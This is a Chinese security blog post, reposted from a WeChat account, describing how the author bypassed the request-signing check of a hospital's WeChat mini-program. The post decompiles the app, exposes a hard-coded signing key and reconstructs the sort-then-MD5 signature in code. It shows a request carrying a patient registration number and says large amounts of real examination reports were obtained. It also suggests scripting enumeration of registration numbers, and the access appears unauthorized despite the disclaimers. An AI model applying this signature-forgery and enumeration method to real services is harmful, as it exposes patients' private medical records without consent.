某医院微信小程序签名机制绕过分析

admin 2025年5月18日17:57:34评论2 views字数 2880阅读9分36秒阅读模式

声明:

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外。

前言

最近刚单招高考完,一直在躺平,几乎没怎么碰挖漏洞。

但上周末偶然翻到之前收藏的目标列表,便想着正好梳理一下这些目标的安全性,结果意外发现并成功绕过了某医院微信小程序签名机制,最终获取到大量真实的检查报告数据。

反编译

本次逆向过程中,我使用的是e0e1-wx的微信小程序自动化辅助渗透脚本,使用该工具,成功获取到微信小程序中的app.js、request_param.js等关键文件,进一步分析其加密与签名逻辑。

某医院微信小程序签名机制绕过分析

抓包

我使用的是 proxifier 加 burpsuite 的方案,简单来说就是通过 proxifier 将微信小程序客户端的流量发送到 burpsuite 代理。首先,burpsuite 开启代理,监听端口为 127.0.0.1:8080
某医院微信小程序签名机制绕过分析

修改paadmVisitNumber值现非法操作

某医院微信小程序签名机制绕过分析
timestamp:请求的时间戳。noncestr:一个随机字符串或数字。requestbody:包含请求参数的 JSON 字符串。

破解 sign 签名

在抓包过程中,发现修改参数 aadmVisitNumber 会触发“非法操作”的提示,说明接口存在签名校验。 接着将反编译后的代码导入 VSCode,用关键词 sign 、 md5 、 timestamp 搜索,找到了位于 request_param.js 中的关键签名生成逻辑。

某医院微信小程序签名机制绕过分析
某医院微信小程序签名机制绕过分析
签名逻辑从初始化变量 i 开始
var i = "";

也就是说,一开始 i 是一个空字符串,用于拼接生成签名所需的所有数据。 随后将时间戳(timestamp)、随机数(noncestr) 和一个**写死的密钥(123456)**拼接到 i 中:

var timestamp = +new Date(); // 当前时间戳(毫秒)var noncestr = Math.floor(10001 * Math.random()); // 一个 4 位随机数str += timestamp + noncestr + "123456"// 关键是这个 123456 是写死的密钥

每次生成一个不同的 4 位随机数,是为了确保每次请求的唯一性

    var l = +new Date(); // timestamp    var m = Math.floor(10001 * Math.random()); // noncestr    i += l;              // 拼接 timestamp    i += m;              // 拼接 noncestr    i += "123456";       // 拼接密钥(写死)

然后,将字符串 i 的每一个字符拆分出来,放进数组 c 中,再对数组排序,.sort() 默认是按字符的 ASCII 编码顺序排序。

var c = [], v = 0;for (v = 0; v < i.length; v++) c.push(i.charAt(v));var f = c.sort();  // ✅ 关键排序
把刚才拼好的长字符串切成一个个字符,排序; 排完序再拼起来; 最后,整个字符串扔进 MD5 算法,算出签名 sign
var sortedStr = str.split("").sort().join("");var sign = e.md5(sortedStr);
下面开始尝试手动拼接签名。 已知最终的 i 是由以下部分拼接而成
i=<所有字段值> + l + m + 123456
我们来看实际请求体:
POST ******************* HTTP/1.1Host: ******************* Content-Length: 271{  "noncestr":5689,  "timestamp"1747146109550,  "requestbody": {    "regNo": "0001227561",    "startDate""2018-04-13",    "endDate""2025-05-13",    "hospitalId""5ac1bfc78a4b4772b816dcf9f58fb099"  },  "sign": "22e313b26a4c5573f6c3c6fd27af81ac"}["regNo""startDate""endDate""hospitalId"] //字段名
字段名提取方式如下:
var o = t;               // o 是 requestbodyvar a = [];for (var n in o) a.push(n);  // ① 提取字段名,放进数组 avar s = a.sort();            // ② 对字段名升序排序
字段名从哪里来的,假设 requestbody 内容为:
var o = {  regNo"0001227561",  startDate"2018-04-13",  endDate"2025-05-13",  hospitalId"5ac1bfc78a4b4772b816dcf9f58fb099"};
执行这个代码
var a = [];for (var n in o) a.push(n);
得到
a = ["regNo""startDate""endDate""hospitalId"]
然后排序
var s = a.sort();
排序结果为:
s = ["endDate""hospitalId""regNo""startDate"] //按照字段名排序
于是拼接字段值的部分为:
i=<所有字段值> + l + m + 123456
2025-05-135ac1bfc78a4b4772b816dcf9f58fb09900012275612018-04-13
最终拼接变量 i 的完整值为:
i=2025-05-135ac1bfc78a4b4772b816dcf9f58fb09900012275612018-04-1317471461095505689123456
接下来,对 i 进行按字符的 ASCII 编码排序,然后生成 MD5 签名.

写了一个小脚本,i进行ASCII编码排序后的结果。

某医院微信小程序签名机制绕过分析
cmd5加密后的结果
某医院微信小程序签名机制绕过分析

尝试发送请求,发现不再提示“非法操作”是没绕过,发现提示"检查报告数据为空",说明签名校验已经成功绕过。

下面贴一张未能绕过时的截图作为对比。

某医院微信小程序签名机制绕过分析
没有绕过的
某医院微信小程序签名机制绕过分析
写个脚本小跑一下
某医院微信小程序签名机制绕过分析

其实分析到这里,签名生成的整个思路就已经非常清晰了。相信很多大佬看到这里都会直接写一个脚本,批量遍历 regNo 来获取更多数据。

整体来看,这次分析只是一次临时起意的逆向练手,目标也只是出于技术兴趣进行的探索。从中梳理了一个较为简单的小程序签名生成逻辑,并成功实现了请求模拟与绕过。虽然过程不复杂,但也再次验证了——即便是常见的加密方式,如果实现逻辑过于简单或密钥硬编码,依然可能成为系统的薄弱点。

文章仅做记录,内容也仅供技术研究参考。希望能为今后分析类似小程序结构提供一点思路。

原文始发于微信公众号(梅苑安全):某医院微信小程序签名机制绕过分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月18日17:57:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某医院微信小程序签名机制绕过分析https://cn-sec.com/archives/4077171.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息